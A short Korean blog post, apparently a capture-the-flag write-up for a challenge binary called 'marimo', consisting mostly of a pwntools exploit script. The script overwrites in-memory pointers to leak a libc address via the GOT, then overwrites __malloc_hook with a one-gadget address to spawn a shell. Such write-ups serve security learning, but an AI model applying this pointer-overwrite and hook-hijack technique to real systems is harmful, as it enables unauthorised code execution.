자꾸 이상한 에러가 떠서 잘 안풀렸던 문제 ㅡ,ㅡ
간단하게 sleep을 중간 중간에 넣어줘서 풀 수 있었다.
메모리 안에 있는 포인터를 변조시켜서 쓱싹 해버릴 수 있는 문제이다!! 재밌다 ㅎㅎ
from pwn import *
s = process("./marimo")
elf = ELF("./marimo")
libc = ELF("./libc")
def hack(name,profile):
s.recvuntil(">> ")
s.sendline("show me the marimo")
s.recvuntil("What's your new marimo's name? (0x10)")
s.sendline(name)
s.recvuntil(">> ")
s.sendline(profile)
def view(num,content):
s.sendline("V")
s.recvuntil("Select number or [B]ack")
s.sendline(str(num))
s.recvuntil("[M]odify / [B]ack ?")
s.sendline("M")
s.recvuntil("Give me new profile")
s.sendline(content)
s.recvuntil("[M]odify / [B]ack ?")
s.sendline("B")
gdb.attach(s)
hack("A"*8,"1"*8)
sleep(1)
hack("B"*8,"2"*8)
sleep(1)
pay = "K"*48
pay += p64(elf.got['puts'])*3
view(0,pay)
s.sendline("V")
s.sendline("1")
s.recvuntil("name : ")
leak = u64(s.recv(6)+"\x00\x00")
print "leak : " + hex(leak)
libc_base = leak - libc.symbols['puts']
one_shot = libc_base + 0xf02a4
print "libc_base : " + hex(libc_base)
print "one_shot : " + hex(one_shot)
system = libc_base + libc.symbols['system']
malloc_hook = libc_base + libc.symbols['__malloc_hook']
print "system : " + hex(system)
print "malloc_hook : " + hex(malloc_hook)
sleep(0.5)
s.sendline("B")
pay = "K"*48
pay += p64(malloc_hook)*3
view(0,pay)
sleep(3)
view(1,p64(one_shot))
s.sendline("show me the marimo")
s.interactive()